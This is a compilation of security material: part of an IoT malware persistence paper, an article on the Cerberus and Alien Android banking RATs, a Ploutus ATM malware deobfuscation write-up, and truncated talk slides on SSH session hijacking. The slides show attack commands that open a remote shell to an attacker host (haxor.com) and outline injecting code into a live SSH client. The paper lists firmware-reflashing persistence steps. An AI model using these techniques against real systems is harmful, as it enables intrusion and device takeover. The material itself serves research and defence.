the developer, but the update process may also need to interpret metadata defined by the developer. As such, the attacker will be expected to recreate the metadata, such as file sizes or checksums. Some tools are available that may assist in this process, such as the “Firmware Mod Kit.” This will not work for all update formats, especially if the developer has obfuscated, encrypted, or signed the firmware they make available. ### 3.6 Ubootkit Das U-Boot (Normally shortened to U-Boot), is a universal bootloader designed for use with a variety of embedded devices. It is commonly used in IoT devices to manage the booting process into the main operating system. **Requirements:** The device must implement U-Boot as its bootloader. The attacker must be able to modify the bootloader flash partition. **Feasibility:** Researchers have produced an attack that demonstrates the creation of persistent root-level access in IoT devices, dubbed “UbootKit.” If the filesystem MTD partition is marked as read-only, it may prevent some of the other methods from being used. UbootKit, however, targets the bootloader partition. If the bootloader partition is writable, UbootKit can modify U-Boot in such a way that when the device is next booted, it will run arbitrary code written by the attacker. UbootKit will use this vulnerability to corrupt subsequent boot stages and modify startup scripts during Linux’s boot sequence, gaining the ability to make persistent changes. **Potential Issues:** The authors of Ubootkit state that it can be applied to other devices and architectures than those used in the demonstration, but that it would require modification. This technique relies on patching the bootloader and kernel of the device with new shellcode at specific offsets. As the bootloader and kernel will differ slightly on each targeted device model and version, determining the correct shellcode modifications may be time-consuming. ## 4 Experimental Proof of Concepts and Results To test the viability of the techniques described in the previous section, we applied them to a range of vulnerable IoT devices. For persistence to be considered a viable and realistic attack method, the following two constraints were applied: - No physical access to the device must be required during the process. Persistence must be achievable remotely, preferably over the Internet. - The method of persistence must allow an attacker to force the device to run a custom application when the device is rebooted. During our testing, we examined some local files on the device that are commonly found on Linux-based systems to gather information about the device, such as `/proc/mtd` to identify partitions and `/proc/mounts` to identify filesystems. These would help determine the best technique to apply when attempting to gain persistence on that device. ### 4.1 Netgear R6250 Router The Netgear R6250 router is one of many routers that had a command injection vulnerability present in their web server. We used this vulnerability to gain access to the shell and begin reconnaissance. | Device | Persistence Method(s) | Exploit | |--------|-----------------------|---------| | Netgear R6250 Router | Recreate Read-Only Filesystem & “Set Writable Flag” Kernel Module | Command Injection CVE-2016-6277 | | D-Link DCS-932L | Initrd/Initramfs Modification | Buffer Overflow CVE-2019-10999 | | Yealink SIP-T38G | Modify Writable Filesystem | Command Injection CVE-2013-5758 | | WiPG-1000 | Modify Writable Filesystem | Command Injection CVE-2019-3929 | First, we read the `/proc/mounts` file and found that the router used both a jffs2 and squashfs filesystem. We initially targeted the jffs2 filesystem as it was writable by default and would have been the easiest to modify. However, it was mounted to `/tmp/openvpn` and only contained configuration files, so while we were able to make persistent modifications to the directory, it would not cause any arbitrary execution when the device was rebooted. We instead decided to target the squashfs filesystem as it was mounted as the root directory. We read `/proc/mtd` and identified a partition named “rootfs,” which was most likely the root filesystem. We read the partition and found it was using squashfs version 4.0, with xz compression. **Gaining Persistence:** After extracting the files, we modified the result to include a file named `testfile` in `/bin`, then re-created the filesystem using the mksquashfs utility. We then uploaded the generated filesystem to the temporary memory of the router. We overwrote the existing filesystem by writing our modified version to `/dev/mtdblock15`. When we rebooted the device, the `testfile` was readable, indicating a persistent edit. **Read-Only MTD Partitions:** During our exploitation of the device, we found that some of the partitions, notably the bootloader, had been marked as read-only via MTD. We were able to compile the Netgear’s mtd-rw kernel module against the firmware’s GPL source and confirmed that inserting the module would allow attackers to set MTD partitions as writable from userspace. ### 4.2 D-Link DCS-932L The DCS-932L is a web-connected camera for both indoor and outdoor use. Customers can access the camera remotely via a web browser or linked application. This camera has a buffer overflow vulnerability that allows an attacker to gain access to the shell and run arbitrary commands. We used this to gain access to the device and investigate how it manages its storage. We read the mounts file and found only temporary and pseudo filesystems were being used, leading us to believe that it was using rootfs as its main filesystem, which should be appended to the end of the kernel. For this device, we attempted to use Method C, modifying the initramfs so that our custom filesystem would be loaded. **Gaining Persistence:** To gain persistence on this device, we needed to modify the kernel partition in such a way that the device would be able to boot and mount it correctly. To test our process, we changed the root filesystem to contain a file named `testfile` in the `/bin` directory, then began to reverse the process we used to extract it. First, we compressed the filesystem into a CPIO archive. We then needed to compress the CPIO archive using LZMA. However, the compression used by the device was non-streamed. To recreate this as best as possible, we used an old version of “LZMA utils.” We then prepended the original binary/kernel data and compressed it using LZMA. Finally, we had to add a new uImage header. As uImage headers include checksums to check the integrity of the image contents and the header itself, we could not simply prepend the original, as the checksums would fail to match when the device starts, causing a fault. Instead, we created a new header with the mkimage utility. The arguments to recreate the metadata, such as the architecture, load address, and firmware name, were found by referring to the previous header. We uploaded the new image to the device in temporary memory. As the kernel flash partition was writable, we could copy it from temporary memory to flash memory via the MTD subsystem. After restarting the device, we found our `testfile` was present in `/bin`, indicating a successful persistent modification. Attackers could use this technique to modify various startup scripts to perform malicious actions or even run applications included in the new filesystem. ### 4.3 Yealink SIP-T38G The SIP-T38G is an Internet-connected VoIP desk phone, allowing users to manage multiple calls and messages. We gained control of the device using an adaptation of an existing exploit for previous versions of the phone, which allowed us to investigate the device further. We read the `/proc/mounts` file and found that the device used yaffs2 filesystems mounted to multiple locations, including the root (`/`), `/boot`, `/phone`, `/data`, `/config`, and `/etc` directories. As yaffs2 is a writable filesystem with an MTD user module, we wrote to the filesystem via the shell. The `/etc` directory held scripts that are run at boot-time, which we could modify to run custom shell commands or applications when the system next boots. ### 4.4 WiPG-1000 The WiPG-1000 is a presenter that allows users to stream their screen from other devices on the same network. We used a command injection vulnerability to start a telnet daemon, which we used to interact with the device via the shell remotely. After connecting via telnet, we read `/proc/mounts` to identify the root mount. We found that the presenter used two types of storage, a flash chip and an Embedded Multi Media Card (eMMC). The eMMC used an ext2 filesystem, which was mounted to the root directory as read-only. We were able to remount it as write-enabled with the mount utility, after which we were able to easily modify the filesystem via shell commands, which persisted through reboots. ### 4.5 Results Summary There were significant variations in the structure of the devices we sought to exploit, with the different types of storage implementations requiring a variety of methods to be applied. However, we were able to gain persistence on every device by applying the described techniques. We have created a process graph to show the best method for gaining persistence, by prioritising those which require the lower complexity to be implemented. ## 5 Countermeasures Below, we have listed several potential countermeasures that could be used to prevent an attacker from gaining persistence. - **Data Signing:** The use of signatures allows verification that the data contained on the flash chip has not been modified, which can prevent an attacker from gaining persistence. For example, uBoot has a “trusted boot” feature that can check whether an image is correctly signed before continuing the boot process. By cryptographically signing each stage of the booting process, such as the bootloader(s), operating system, and filesystem, each step can verify the signature of the next, creating a chain of trust. If a stage has been modified, its signature will not be valid, and the device will fail to boot. This should, however, use immutable memory to bootstrap the process, such that an attacker cannot modify the chain of trust at the very first stage. As the attacker will not have the developer’s cryptographic keys, they will be unable to forge a signature for any modifications they make to protected stages. - **Device Updates:** The methods outlined in our paper assume that the attacker has gained shell access to the device. Users can prevent attackers from gaining access by regularly updating their device to patch vulnerabilities and prevent exploitation. - **Effective Factory Resetting:** IoT devices often include a “factory reset” feature that can be used to restore corrupted partitions to their original state. This could be used by victims to remove malware from the device if the process can reset partitions that have been modified by an attacker. - **HADES-IoT:** HADES-IoT is a system designed for use on IoT devices, which provides a process whitelisting feature. HADES-IoT records a hash of benign executables that are run in an uninfected state during a “profiling” stage. When a new process is spawned, HADES-IoT can compare it against its list of known benign executable hashes, preventing unknown processes from being created. This can frustrate attackers attempting to gain persistence and prevent uploaded malware from running. ## 6 Conclusions and Future Work In this work, we have discussed the increasing threat of persistence in IoT malware. We outlined the challenges that currently prevent IoT persistence from being easily achieved. We then detailed techniques that attackers could use to gain persistence on IoT devices, describing their requirements, what methodology they can use, and which potential issues they might encounter. We demonstrated our ability to achieve true persistence in a wide range of different IoT devices. Based on our findings, we outlined a potential process to identify the best method of obtaining persistence. Finally, we listed several possible countermeasures that can be used to hinder attackers from getting persistence on vulnerable IoT devices. Whilst we were able to gain persistence on all of our targeted devices, the variations on device structure and implementation meant that it was a time-consuming process that involved significant manual work. An attacker would almost certainly want to automate this for massive-scale attacks. One possible approach is to search for or remotely fingerprint vulnerable devices and then launch the method appropriate for that model. Additionally, whilst it was straightforward to gain persistence on some of the devices we tested, others required more sophisticated methods that were time-consuming to discover and implement. Attackers may soon look towards automating both the discovery and the implementation of these more involved methods for abusing them in large scale operations.
# Cerberus and Alien: The Malware That Has Put Android in a Tight Spot 2020 is the year of the rat, and we actually aren’t talking about the Chinese horoscope. According to several cybersecurity researchers, 2020 has seen an explosive increase in Remote Access Trojans, or “RATs”. This threat is not minor: a RAT can take control of your computer in the same way that a remote administrator would normally do, using tools such as TeamViewer or VNC. In this case, it’s a malicious control: a RAT steals your personal information trying to carry out bank or identity fraud. However, with the migration of PC users to the mobile world, hackers changed their strategy. Now there is a whole series of malware focused on bank credentials and identity theft, especially designed for Android mobile devices. These RATs have reached a high level of sophistication, and most are offered in the form of “malware as a service”, or MaaS. Between 2019 and 2020, these attacks have become increasingly common. Names like Anubis, Hydra, Ginp, or Gustuff appear on all mobile malware lists on a recurring basis. However, the one that has dominated the arena this year – for several reasons – is Cerberus: a nightmare-inducing rodent. ## Cerberus, the King of All RATs Cerberus is a highly sophisticated Android malware, in circulation since 2019. It has been actively distributed on dark web forums, in a “malware-as-a-service” (MaaS) format. For a sum between $4,000 and $12,000, cybercriminal groups capable of paying it have had all the malware tools at their disposal. And by tools, we mean an arsenal of destruction. Cerberus was conceived as a run-of-the-mill banking and phishing malware, and seeing Anubis’s success with cybercriminals, the team decided to integrate RAT capabilities into their toolset. Its victim is the banking apps inside your smartphone, but its functionality is much more complex. Like any Remote Access Trojan worth its salt, Cerberus is capable of deep surveillance within your device, interfering with the encrypted communications the phone has with its apps and outside. Basically, Cerberus can intercept and steal your phone’s unlock pattern or PIN, as well as Google Authenticator numbers, and any SMS necessary to perform a two-step verification. Likewise, this malware can interpose itself between you and your bank’s app through an overlay, the most common method for carrying out a phishing attack. In short, Cerberus can enter your computer, extract all the necessary data to perform a bank fraud, and wait for the best moment to take the money from your account. All without you doing anything. ## Cerberus and Its Complex Functionality Regarding what Cerberus can do, it is necessary to point out two possibilities within its functionality. We already mentioned that Cerberus is a RAT, but to achieve such control of the phone, it is necessary to have control of a vulnerability. In this case, it is the Android Accessibility Service. This service, which normally assists users with disabilities in certain applications, is abused by Cerberus to give itself more permissions without user interaction. Having control of the Accessibility Services, the malware proceeds to ensure its persistence in different ways, either by disabling Play Protect or by removing itself from the applications in use. On the other hand, Cerberus is capable of generating an instance of TeamViewer on mobile, and through the aforementioned Accessibility permissions, authorizing said session while the equipment is in use, all without user interaction. From that point, and as soon as the C2 server has the computer’s data, the rest of the functionalities are available to the attackers remotely. Abusing both the Accessibility Service and the TeamViewer session, Cerberus is capable of a lot. Its possibilities include: - A keylogger - Listing, retrieval, sending and forwarding of SMS - Forwarding or transferring calls - Installation and deletion of apps - Locking and unlocking the screen (without user interaction) - Collection of device data - List of device applications - Device file collection and extraction - Phishing attacks via preloaded overlays - Various protection capabilities, such as emulation detection ## The Rocky History of Cerberus As we mentioned, Cerberus has been on the market for a long time, to the detriment of users and banks alike. However, there are two reasons why it is now a growing concern: on one hand, the rapid evolution of its functionalities and on the other, the release of its source code. Cerberus was born in 2019 as an espionage suite. While its design made it capable of bank fraud, at the time the malware lacked the level of sophistication required to steal two-step authentication (2FA) data from apps like Google Authenticator. However, a ThreatFabric report analyzed the second version of the malware in early 2020. Cerberus v2 was still in development by the same Eurasian team that brought it to life, with increasingly powerful functionality. Months later, an Avast team made a disturbing finding. An app for the Spanish market, called “Calculadora de Moneda” (“Currency Calculator”), contained malicious code related to Cerberus in its APK. The app was hosted on the Google Play Store, which supposedly contains software from legitimate and safe sources. However, after weeks in hibernation, a connection to the attackers’ C2 servers activated code on the app that downloaded another APK containing Cerberus, and the smartphones were infected with the malware. As the days passed, the Cerberus team became fragmented. In July, the developers decided to leave the project in the hands of anyone who could pay for it. The operators decided to auction everything: the servers, the malicious APK’s source code, and the admin panel codes in addition to the modules. With a profit of approximately $10,000 per customer, the creators of Cerberus promised potential buyers to recover the expense in no time. However, the lack of interest – or buyers willing to pay that sum – put the sale at risk. The worst happened a couple of weeks later. Cybersecurity researcher Dmitry Galov revealed that the auction had failed and that Cerberus operators released the source code of the malware. This opened the door to the worst-case scenario: developers taking Cerberus and transforming it into something nasty. ## Alien, the New Player It took less than two weeks for another MaaS to take the crown. Alien, considered by experts as a full-blown ‘fork’ of Cerberus, entered the market aggressively after the fall of its predecessor. The ThreatFabric report on Alien is concerning. Although Alien comes from a different version than the one released, it retains many of the functions that make this type of malware dangerous. First of all, it’s a very streamlined RAT with tons of features. It is also capable of running its own TeamViewer instance, and of displaying fake logins for more than 226 applications. These include not only banking apps, but social media, email, and even popular cryptocurrency wallets. Alien is distributed in the same way as Cerberus in its early days: through malware forums on the dark web. Its price has not yet been published, but it is believed that it would be similar to Cerberus given the similarity in functionality. ## Conclusions The smartphone malware landscape is becoming more complex as 2020 progresses. Malicious actors are taking advantage of user-authorized vulnerabilities to access our phones, and then exploit all avenues for financial gain. This practice has generated a very profitable market, one that all Android users can fall victim to. Recommendations for a threat this organized are straightforward. First and foremost, review any application installed on our Android devices, especially the requested permissions. Also, and even if it is used by many applications in a completely legitimate way, it’s necessary to pay attention if a suspicious application needs access to Google’s Accessibility Services. Along the same lines, there is a need to educate users about the risks of this type of malware, whether personal or work-related. It should not be forgotten: although there are strong economic motivations, malware such as Cerberus is still a powerful spying tool. The coexistence of private data on our mobiles may well be an attack vector for our organizations.
# Ploutus ATM Malware **Antonio Parata** **November 10, 2021** One of the most tedious tasks in malware analysis is to get rid of the obfuscated code. Nowadays, almost every malware uses obfuscation to hinder the analysis and try to evade detection. In some cases, the obfuscation is not complex and is trivial to remove. An example of a trivial technique is the encryption of the strings with a hardcoded key. In other cases, the obfuscation can be very complex to remove, and time spent on analysis might easily become unsustainable. An example of an advanced obfuscation technique is the usage of a software Virtual Machine or Control-Flow Obfuscation. The decision to adopt a specific technique is mostly driven by weighing the complexity of the implementation versus its effectiveness. This trade-off might assume a very different weight according to the technology used to develop the malware and the available tools used to analyze the malware binary. Two relevant examples, where this trade-off assumes very different values, are the analysis of an unmanaged binary versus the analysis of a managed binary. An unmanaged binary is a program written in a language, such as C/C++, that is compiled directly to native code. Conversely, a managed binary is written in a high-level language such as C# or F#, and compiles to an intermediate language. An advantage of unmanaged programs over managed programs is that the latter are easier to port to another system. A clear example of this is the .NET Core technology, which supports the execution of the same binary on different operating systems (OSs). However, this advantage has a drawback from a security point of view. In order to execute the binary on a different OS, it is necessary to include, inside the file, a conspicuous amount of metadata that describes how the binary is structured. These metadata are at the base of the reflection concept, a characteristic supported by programming languages such as C#, F# or Java. Reflection allows a program to query the metadata of a managed binary in order to extract information related to the program structure. An example of usage of reflection is to dynamically resolve a method implemented in the examined binary. Many tools leverage the reflection concept, and the abundance of metadata information, to decompile managed binaries. The decompilation output almost resembles the original source code. An example of such decompilers is .NET Reflector. Thanks to the availability of these tools, the analysis of managed binaries became very easy. With the proliferation of decompilers, another type of software started to spread: managed code obfuscators. These tools are created with the intent to protect intellectual properties (such as proprietary algorithms). As a consequence, malware developers took advantage of obfuscators and started to obfuscate the malware code, making the decompiled code very hard to read or even impossible to obtain. Ploutus malware protects its code with a commercial obfuscator named .NET Reactor. Ploutus is a malware family that targets ATMs and is able to perform ATM jackpotting — an attack that causes the ATM to dispense all bills stored within the ATM cassettes. Ploutus was first discovered in 2013 in Mexico. In March 2021, a new version was identified targeting ATMs in the Latin American (LATAM) region. The malware is implemented using the Microsoft .NET framework, a technology that allows for effective code decompilation. The deployment of the malware is typically achieved by connecting an external device to the ATM to trigger execution of the malware. Once executed, Ploutus interacts with the operator using the function keys and mouse. The interaction with the mouse was likely introduced to allow the operator to easily interact with ATMs supporting a touch screen. The communication with the ATM is performed by using an XFS (extensions for financial services) middleware such as KAL Kalignite. The supported UI is very minimal; this choice was likely adopted to allow the malware to run on a wide variety of ATM devices. An example of UI is shown in the document. Ploutus accepts commands from the keypad too. An example of a command used to start the Jackpotting attack is the sequence F8F1F2F3F4. Historically, the Ploutus binary is strongly obfuscated, making analysis difficult. In particular, Ploutus uses multiple obfuscation techniques, such as string encryption, function name obfuscation, methods proxying, control-flow-graph (CFG) obfuscation and method encryption. ## Ploutus Obfuscation As mentioned, the obfuscation techniques implemented by Ploutus are the result of the usage of the commercial obfuscator .NET Reactor. Some of these techniques are easy to deobfuscate, such as the string encryption; others, instead, might significantly slow down the analysis process. Control flow obfuscation and method proxying are two examples of techniques that slow down the debugging of malware. These techniques hide relevant information, such as the name and signature of the function called, or they make the debugging session much harder by making the execution flow not linear and forcing the analyst to execute a lot of jump instructions. Of the mentioned techniques, method body encryption is the one that makes analysis most difficult. The concept is based on encrypting the method body with a fake or empty one, and only when the method is compiled to native code, the real method body is passed to the compiler instead of the fake one. The impact of this technique on the analysis process is to be unable to see the real method instructions and, as a consequence, to be unable to correctly debug the process in a managed debugger such as dnSpy. The .NET Reactor website mentions the encryption of the method body, using a feature named Necrobit. ### Method Body Encryption Obfuscation As described, the method’s fake body is replaced with the real one at execution time. This is achieved by hooking the compileMethod function, which is in charge of compiling the Microsoft Intermediate Language (MSIL) code to native code. MSIL is the standardized intermediate language used by the .NET framework. The compileMethod method is not directly exported by the .NET framework and needs to be resolved by calling the exported function getJit. This function is exported by the mscorjit.dll library (or by the clrjit.dll in the most recent .NET framework versions). Once executed, the function returns a pointer to a ICorJitCompiler class — a virtual table whose first method is the compileMethod. Microsoft is well aware of obfuscators that use this technique to protect the code. In order for this concept to work, the obfuscator creates a static constructor to apply the hook (or modifies the existing constructor) for each class containing obfuscated methods. This additional code ensures that everything works as expected, since the static constructor is executed before any method implemented inside the class is compiled. At execution time, the compileMethod hook uses the info argument to replace the fake MSIL code with the real code. The info field is of type CORINFO_METHOD_INFO, which describes the structure of the method. The malware replaces, in the compileMethod hook, the content of the fields info->ILCode and info->ILCodeSize with the real values. Interestingly, this process causes the debugger to behave in an unexpected way and, in some cases, to lose the debugging session. The obfuscation technique stores the real method body inside a .NET resource in an encrypted format. The encryption algorithm is not complex, but the addition of other obfuscation techniques makes its analysis quite hard. Its design is based primarily on XOR and ADD operations between a key and the blob containing the encrypted methods body. The key is computed at runtime by XOR’ing two arrays of bytes. The content of these two arrays is also computed at runtime in order to conceal their content from static analysis. The method’s body decryption algorithm uses four constants to modify the iteration key in the decryption loop. The value of these constants is computed by applying a constant unfolding obfuscation technique. This concept is based on decomposing a constant by using multiple arithmetic operations such as add, or, shift, and eXclusive OR. These operations are executed at runtime to obtain the real constant values. The values of the key and of the four constants vary among the identified samples. Computing these values at runtime makes the creation of a static extractor more difficult, since it is necessary to create an instruction emulator. After this first layer of obfuscation is completed, an additional obfuscation layer is included. This second layer is based on an additional loop with a step of eight bytes. In each iteration, the first four bytes are XOR’ed with a static constant. Once the content is decrypted, it is processed as two separate parts: the first contains the real method headers, and the second contains the real method bodies. The method header is a fundamental concept of the .NET framework and contains, among other information, details on the exception handlers used by the methods. If the information related to the exception handlers is ignored, the program may crash at runtime due to an apparently unhandled exception. To extract the exception handler information, it is necessary to know how the method header is structured. The header can be of two types: a fat header or a tiny header. The exception handler data is only present in methods with a fat header. On the contrary, when the method does not have any exception handler, and its size is less than 64 bytes, a tiny header is used. ### Implementing a Deobfuscator This section describes an implementation of a deobfuscator that decrypts the real method bodies and creates a new binary with the correct values. The implementation contains some technical challenges that are the result of design choices taken by the obfuscation tool’s developer. In particular, a clever choice was to use only local variables and to scatter the decryption code among various instructions inside the static constructor, instead of calling a function dedicated to the decryption. The implementation uses the dnLib library to patch the original binary and create the deobfuscated one. The code implements the decryption functions described above and then patches the obfuscated methods by identifying them through their metadata tokens. As a final step, the deobfuscator removes bad MSIL instructions that cause dnLib to crash. ### Deobfuscation Walkthrough To make this post practical, this section provides an example of dynamic analysis, with the purpose of providing specific indication on how to identify the relevant code patterns that contain the information needed for the deobfuscation. The information needed includes: 1. The key used to decrypt the method body. This information is an array of bytes and is stored in an obfuscated format. 2. The XOR array used to deobfuscate the above key. 3. The values of the four constants used in the decryption of the method bodies. 4. An additional key used to decrypt the method headers. The key used to decrypt the method bodies is XOR’ed with an array whose length is 16 bytes. By loading the malware binary in dnSpy and locating the static constructor (whose name is .cctor) implementing the deobfuscation code, it is possible to identify the first piece of information by searching for the pattern ^=. When the breakpoint hits, the values of the two arrays need to be extracted (before the XOR operation). array15 contains the obfuscated key used to decrypt the method bodies, and array5 is the byte array used to deobfuscate the key. The other information is extracted using a similar approach. In particular, the four constants are identified by searching for the code pattern << 21. A breakpoint needs to be set on the last line in order to execute the code that computes the constant values. The final information is the one used to decrypt the method headers. The pattern to search for is again ^=. This time the instruction to look for is a XOR operation with a hard-coded constant. With the collected information, it is possible to run the deobfuscator. The obfuscated function code is shown in the document. After removing this deobfuscation layer, it is possible to run additional deobfuscators, such as de4dot, to further clean the binary. ### Conclusion As demonstrated throughout this post, Ploutus obfuscation represents a real challenge for the analyst. The obfuscation of the method’s body can hinder both static and dynamic analysis. Deobfuscating this technique requires a good understanding of the inner functionality of the .NET framework and its core structures. Writing a full deobfuscator requires a considerable amount of time, in particular due to some design choices adopted by the developer. Nevertheless, it is possible to create a deobfuscator that takes in input information that can be extracted by debugging the code, obtaining as a result a binary with the real method’s body.
# Trust Transience: Post Intrusion SSH Hijacking Trust Transience: Post Intrusion SSH Hijacking explores the issues of transient trust relationships between hosts, and how to exploit them. Applying techniques from anti-forensics, Linux VXers, and some good-ole-fashioned blackhat creativity, a concrete example is presented in the form of a post-intrusion transparent SSH connection hijacker. The presentation covers the theory, a real-world demonstration, the implementation of the SSH Hijacker with special reference to defeating forensic analysis, and everything you’ll need to go home and hijack yourself some action. Adam Boileau is a death metal listening Linux hippy from New Zealand. When not furiously playing air-guitar, he works for Linux integrator and managed security vendor Asterisk in Auckland, New Zealand. Previous work has placed him in ISP security, network engineering, Linux systems programming, corporate whore security consultancy, and a brief stint at the helm of a mighty installation of Solaris tar. Amongst his preoccupations at the moment are the New Zealand Supercomputer Centre, wardriving-GPS-visualization software that works in the southern hemisphere, and spreading Debian and Python bigotry. Oh, and Adam’s band ‘Orafist’ needs a drummer - must have own kit and transport to New Zealand. ## The Target **Recon** - Mail headers say MUA is PINE - .sig says Debian Sarge, kernel 2.4.22 - Web logs show egress HTTPS traffic doesn't go via a proxy (no forwarded-for header) ## The Plan **Let's Do It** ```bash haxor:~$ ./pine0day | spoofmail -f 'Mr. Mbeki' -s 'Opportunity for joo!' [email protected] haxor:~$ nc -l -p 1337 admin@box:~$ id uid=1004(admin) gid=1004(admin) groups=1004(admin) admin@box:~$ ps auxw | grep -q pine || echo shit shit admin@box:~$ ls core core admin@box:~$ uname -nsr Linux box 2.6.11 ``` **Things start to unravel** ```bash admin@box:~$ w USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT admin pts/1 :0 09:28 10.3m 3.1s 0.2s bash admin pts/2 :0 09:31 1.0s 1.4s 0.9s bash admin pts/3 haxor.com 14:03 0.0s 0.3s 0.3s w admin@box:~$ ps x 3132 ? S 0:23 xfwm4 --daemon --sm-client-id 34235 3590 ? S+ 0:05 xterm -rv 3593 pts/1 Ss+ 0:02 bash 3597 pts/1 S+ 0:12 ssh [email protected] 9034 ? S+ 0:03 xterm -rv 9036 pts/2 Ss+ 0:02 bash 9154 pts/3 R+ 0:00 ps x ``` **Things have gone pear-shaped** - Haven't got root, are about to get busted - Time to drop carrier and run? - But that SSH session, oh so close. - If only there was a way to get to the other end of that SSH... ## There is a way ```bash admin@box:~$ <Ctrl-A>:!!!! mafl-load ssh -jack 3597 haxor.com 1338 Connecting to /usr/bin/ssh running as pid 3597... Connected Ferreting out some useful symbols... Located libc symbol 'socket' at 0xb7e19a50 Located libc symbol 'connect' at 0xb7e195c0 Located libc symbol 'select' at 0xb7e12490 Located section '.got' 0x0807eb8c to 0x0807eef4 Located section '.plt' 0x0804aa68 to 0x0804b7d8 Located section '.text' 0x0804b7e0 to 0x08070450 Located section '.rodata' 0x08070480 to 0x0807dd6c Resolved dynamic symbol 'socket' at PLT: 0x0804b6b8 GOT: 0x0807eea8 Resolved dynamic symbol 'select' at PLT: 0x0804ad88 GOT: 0x0807ec5c Resolved dynamic symbol 'connect' at PLT: 0x0804b5f8 GOT: 0x0807ee78 Locating stub injection point... Phase 1: Find magic string in .rodata... 0x0807139c Phase 2: Find where magic string is used... 0x0804d803 Phase 3: Find three jump 0x0804d800 instructions... 0x0804d6d9 0x0804d6e1 0x0804d6e9 ``` ```bash haxor:~$ nc -l -p 1338 root@ns1:~# echo pwned! pwned! ``` ## Intro **I'm Metlstorm / Adam** - From New Zealand - No, I don't know any hobbits, you sad Tolkien fanboi - Work for a Linux systems integrator, in the past a corporate whore security consultant, ISP security guy, NOC monkey ## WTF Just Happened? **Intrusion** - MO: attack servers via the admins - Complexity == insecurity - Things go wrong... - You can drop carrier and run... - Or display adaptability. **Post Intrusion Goals** - Priv escalation - Stealth & consolidation - Recon, further penetration - Guerrilla; hit & fade, keep it moving **Displaying Adaptability** - Things don't go according to plan - Adaptability core difference between hackers and [skript|korporate] kiddies ## Cross Host Privilege Escalation - Maybe local root is a distraction - Yes, exploiting local vulnerabilities is easier, we can see stack layout, versions, etc - But what if there were something even easier? ## Trust Relationships - Kicking it old school (when the postman knew your name, and no one locked their front door) - rhosts - ports < 1024 == root - exporting / *(rw) ## Non-Transient Trusts - Traditional “fixed” trusts (rhosts, ssh trusts) - Stored authentication credentials - “One factor” auth - Authentication based on connection properties (e.g: source IP, port) ## Transient Trust - Trust relationships that exist only for a period of time - Open, post authentication sessions - Unless you personally auth each packet, any cross-priv-boundary connection has some transient trust ## Exploit Metrics - Evaluate techniques for exploiting trusts - Metrics: (value 1-10) - Ease - Stealth - When - Feasibility ## Exploiting Non-Transient Trust - Ease: 10 - Pretend to be Client A so the server trusts us - Stealth: 10 - When: 10 - Feasibility: 2 ## Exploiting (Keylogging) - Ease: 7 - During Authentication: Obtain User A's password - Later: Impersonate User A - Stealth: 8 - When: 3 - Feasibility: 7 ## Exploiting (MITM) - Ease: 5 - During Authentication: Impersonate Server to Client, Impersonate Client to Server - Later: Monitor session, Take over session - Stealth: 4 - When: 3 - Feasibility: 5 ## Exploiting (TCP Hijack) - Ease: 3 - Later: Predict TCP Sequence numbers, Take over running session - Stealth: 1 - When: 7 - Feasibility: 2 ## Exploiting (Application Hijack) - Ease: 8 - Later: Take control of network client application, Sneak down running, authenticated session - Stealth: 8 - When: 7 - Feasibility: 7 ## Hijack the Application - Different MO: - Attack during peak time, while the users are there - Daylight robbery; take their root while they're using it... - ...without them even noticing - Not really very technically challenging - Just creative reapplication of tricks, virii, debugging, binary reverse-engineering ## Technique Comparison - Transient trusts almost as much fun as the real thing ## The SSH 'Jacker - SSH-Jack: A Python script which gives you a shell at the other end of a running SSH session - How it works - Implementation Details - Anti-forensics - Mitigation - Improvements, Direction ## Rich Protocols: SSH - Goal: Hijack session while in active use without detection - Virtual Channel infrastructure makes it seamless ## How it Works (I) - Reuse the features provided by SSH... for evil - Glue a socket to a second shell, add an Evil Hax0r, mix well. ## How it Works (II) - Using Python and GDB/MI it: - ptrace attaches to the SSH client process ## How it Works (III) - Finds the virtual channel setup code - Patches it in memory to request a remote shell which talks to a local TCP socket instead of the user ## How it Works (IV) - Alters execution flow to run the VC setup code ## How it Works (V) - Restores original code & state - Continues execution as if nothing happened... - ...except that you got pwned. ## What your mother warned you about - Hackers are sneaky - Hackers don't just install LRK4 and BNC anymore (at least, the ones you don't catch) - Good hackers display creativity (as do expensive pentesters... you hope) ## Automated Debugging - Of course a human with a debugger can do sneaky things - We want to automate it - GDB is good, GDB/MI (machine interface) passable - Python + GDB is a good mix; ubiquitous scripting language, interactive shell, good debugger ## Automated Debugging (II) - Goal: sneakiness of a human, speed and portability of a script - Less like debugging (no symbol information), more like a bit of binary analysis mixed with a bit of virus technique ## Details - SSH-Jack Nitty Gritty - Python GDB/MI - Finding a safe place to stop the program - Deciding where to redirect execution - Generating code to inject - Running it - Restoring everything ## GDB/MI - GDB is the GNU debugger - GDB/MI is its programmatic interface - Implemented gdbmi.py, Python interface to GDB - Basic functionality only, but usable. ## A Safe Place - Normally single-threaded, use of globals, no locking, so we have to be careful - Find a safe place to run our code - Stop the process - Locate address of safe place - Add a breakpoint there, easy! - Continue execution ## But where is select()? - We don't have debug symbols - No problem, just a few more steps: - Select() is provided by libc... - Ask for the address where the dynamic linker put libc::select() ## But where is select()? (II) - Find the entry in the ELF Global Offset Table for libc::select()'s address ## But where is select()? (III) - Find entries in the ELF Procedure Linkage Table for the GOT entry ## But where is select()? (IV) - Find calls to the PLT entry in the code - In this case, there's only one call to select anyway, so last step not required - Just a breakpoint in the ELF PLT will do ## Where we'll do the evil - Find the virtual channel setup code: - ssh.c,1150: ssh_session2_open() - Still no debug symbols - Has unique string: “dup() in/out/err failed” - Similar to before: - Find unique string in ELF .rodata section - Find reference to .rodata entry in .text ## The Evil Itself - Evil code will replace the first half of VC setup code - Save regs & flags before execution, restore after - “Shellcode” to socket(); connect(); - Put a socket where SSH expects a local filehandle (yay for Unix!) - Leave register state just so, stack unmangled, so execution continues - Uses libc calls, not syscalls, for no good reason ## The Evil Itself (II) - Why the effort to overwrite half a function? - Avoid runtime, by hand linking with no symbols - SSH uses lots of globals, 'data driven' style using function pointer arrays, horrible to link by hand - Minimal deviation from existing code - Handcrafting for each SSH binary tedious - Don't have enough info for a general solution... until runtime. So we patch one up then. ## Generating the Evil - Work backwards from unique string - Learn stack size - Patch in command line parameters - Patch stack size, PLT entries for socket() and connect() into code ## Injecting the Evil - Backup EIP - Backup old code - Evil code takes care of saving and restoring registers/flags - Overwrite start of function() with evil - Set breakpoint to catch end of evil ## Running it - Saving EIP - Saved EIP 0x804ad88 - Saving 92 bytes of code that we're about to overwrite at 0x0804d679 - Injecting 92 bytes of stub at 0x0804d679 - Clearing breakpoint - Setting new breakpoint at 0x0804d682 - Setting 